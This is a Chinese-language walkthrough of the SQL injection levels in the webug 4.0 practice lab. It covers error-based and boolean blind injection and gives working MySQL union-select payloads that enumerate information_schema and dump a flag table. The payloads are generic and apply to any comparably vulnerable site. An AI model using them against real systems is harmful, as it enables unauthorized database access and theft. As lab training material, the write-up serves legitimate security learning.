webug4.0之sql注入篇
目录
一. 显错注入
二. 布尔盲注
三. 延时注入
四. post注入
五. 过滤注入
六. 宽字节注入
一. 显错注入
1. 页面观察
输入id=1和id=2页面,页面显示不同,所以可以判断此变化的地方与数据库有交互,如果存在sql注入我们可以使用联合(显示)注入
2. 判断是否存在注入漏洞
输入id=1',显示错误,说我们的语法不正确。且显示出了数据库查询语句,可以知道为字符型注入,且字符为单引号。所以注入点就是加单引号就行
3. 使用联合注入
(1) 判断当前表的字段个数
id=1' orde by 2 --+
当输入order by 2 --+ 时没错,输入3时报错。说明当前表的字段个数为2
(2)判断显示位
?id=-1' union select 22,33 --+
如下,说明页面中33的这个位置与数据库有交互,数据在这里显示,所以我们可以把payload放入到这里
(3)函数查询
- 查询数据库版本,mysql 5.0版本之后产生了一个虚拟数据库information_schema,我们可以利用这个表进行快速查询。如下mysql版本是大于5.0的
?id=-1' union select 22,version() --+
- 查看所有数据库名字
?id=-1' union select 22,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA --+
前三个都是mysql自带的数据库,因此我们只需要注意后面的webug、webug_sys、webug_width_byte数据库就行
- 确认当前查询的数据库名字
id=-1' union select 22,database() --+
- 查询当前数据库下面的表
由于不知道那个Flag在哪,但是还是首先考虑同一个数据库下的表吧
?id=-1' union select 22,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' --+
我们看到了一个flag表,查看一下
- 查看表中有哪些字段
?id=-1' union select 22,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' --+
可见flag表中有连个字段分别为id,flag
- 查看字段中的内容
同时查询字段id和flag的值
?id=-1' union select 22,group_concat(id,'--',flag) from flag --+
- 提交flag
获取到flag值我们就可以进行提交了
二. 布尔盲注
1. 页面分析
当我们输入的id正确是页面显示如下
当输入的id值错误时,如id=-1或者id=1',显示如下
即,页面只会呈现出两种状态,相当于true和false两种结果。我们输入的值影响到了数据的查询,由此可以判断程序并没有对我们输入的数据进行判断,所以这里肯定存在sql注入
2. 注入点判断
sql注入最重要的就是找到注入点,找到了剩下的绝大多部分可以交给sqlmap进行注入
当我们输入 id =1' and 1=1 --+ 时,页面正常显示
输入 id=1' and 1=2 --+ ,页面又显示不全,说明程序对我们输入的and 1=2的语句做出了正确的响应,由此可以知道注入点就是 id=1'
3. 猜解数据库名字
由于布尔盲注比较繁琐这里我就偷点懒直接使用sqlmap进行注入了~~嘿嘿
webug4.0之sql注入篇相关推荐
- webug4.0之xxe注入
关于xxe漏洞,传送门 ->xxe漏洞详解 1. 页面观察 让我们登录,我们随便输入一个字符如admin,观察页面,出现了xml有关的东西,我们就要怀疑存在xml注入 2. 看是否能解析xml数 ...
- 渗透学习-SQL注入篇-基础知识的学习(持续更新中)
提示:仅供进行学习使用,请勿做出非法的行为.如若由任何违法行为,将依据法律法规进行严惩!!! 文章目录 前言 一.SQL注入产生的原因 二.手工注入大致过程 1.判断注入点: 2.猜解列名 3.猜解能 ...
- oracle延时盲注如何防止,【原创】WEB安全第四章SQL注入篇21 oracle 延时注入
WEB安全第四章SQL注入篇21 oracle 延时注入 1.简介 DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制.首先,不能直接将该函数注入子查询中,因为O ...
- web之SQL注入篇BUU
web之SQL注入篇BUU [强网杯 2019]随便注 预处理语句 handler [SUCTF 2019]EasySQL 判断是字符型还是数字型注入 判断是否可以联合查询 判断是否可以使堆叠注入 | ...
- 测试具有44个漏洞点的简单小靶场-SQL注入篇
文章目录 本地搭建 SQL注入篇 注入1(数字型注入) 注入2(闭合单引号) 注入3(闭合双引号) 注入4(闭合括号) 注入5(报错注入) 注入6(布尔盲注) 注入7(过滤了'--'和'#'以及'%2 ...
- DVWA通关-SQL注入篇
DVWA通关-SQL注入篇 开篇之前 我知道网上也有很多通关攻略,但都是别人通关,复制粘贴也是别人的,所以就想写一下自己的.写下这篇文章主要是记录自己的学习,以及和各位朋友交流,有错误的地方,希望 ...
- TP5 框架 SQL 执行流程分析及 5.0.9 SQL 注入漏洞分析
文章目录 SQL查询流程 TP 5.0.9 SQL注入 修复 SQL查询流程 TP5手册:https://www.kancloud.cn/manual/thinkphp5/118044 在分析 tp5 ...
- 【SQL注入技巧拓展】————13、我的WafBypass之道(SQL注入篇)
0x00 前言 去年到现在就一直有人希望我出一篇关于WAF的文章,我觉得这种老生常 谈的话题也没什么可写的.很多人一遇到waf就发懵,不知如何是好,能搜到的各种姿势也是然并卵.但是积累姿势的过程也是迭 ...
- 我的WafBypass之道(SQL注入篇)
原帖地址:https://xianzhi.aliyun.com/forum/read/349.html 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章,我觉得这种老生常 谈的话题 ...
最新文章
- 程序员应该具备的十个项目习惯
- golang reflect 反射 简介
- 第一个项目GeoQuiz开发总结
- 文件操作-使用readline分行读取大文件
- 华字后面配什么字比较好_女孩叫华什么名字好听 华字和什么字搭配取名最好...
- 微信小程序,用户拒绝授权后重新授权;uni-app小程序,用户拒绝授权后点击无效;重新进入后拉起位置授权框;
- Python入门--函数的参数总结
- [BZOJ4303]数列
- springMVC系列之(四) spring+springMVC+hibernate 三大框架整合(转)
- WATM与Tivoli、SIM同获2007网络技术大会网管系统选择奖
- U盘启动装系统的操作方法(U盘PE启动安装GHOST XP)(转载)
- 怎么将多个文本文件合并为一个文本文件
- 简述计算机的含义是什么,输入法全拼和双拼是什么意思?有什么区别?
- Python一对一题目辅导「PTA 题目讲解·难度系数:基础」
- Python全栈开发【基础-09】深浅拷贝+while循环
- 玩转“数独”2.0时代
- django批量修改table_Django 使用 modelformset 组件批量修改表单数据
- vlc播放海康威视摄像头rtsp rtmp视频教程
- 初步探究Android App API接口测试--实战
- 网站视频直播中p2p流媒体的应用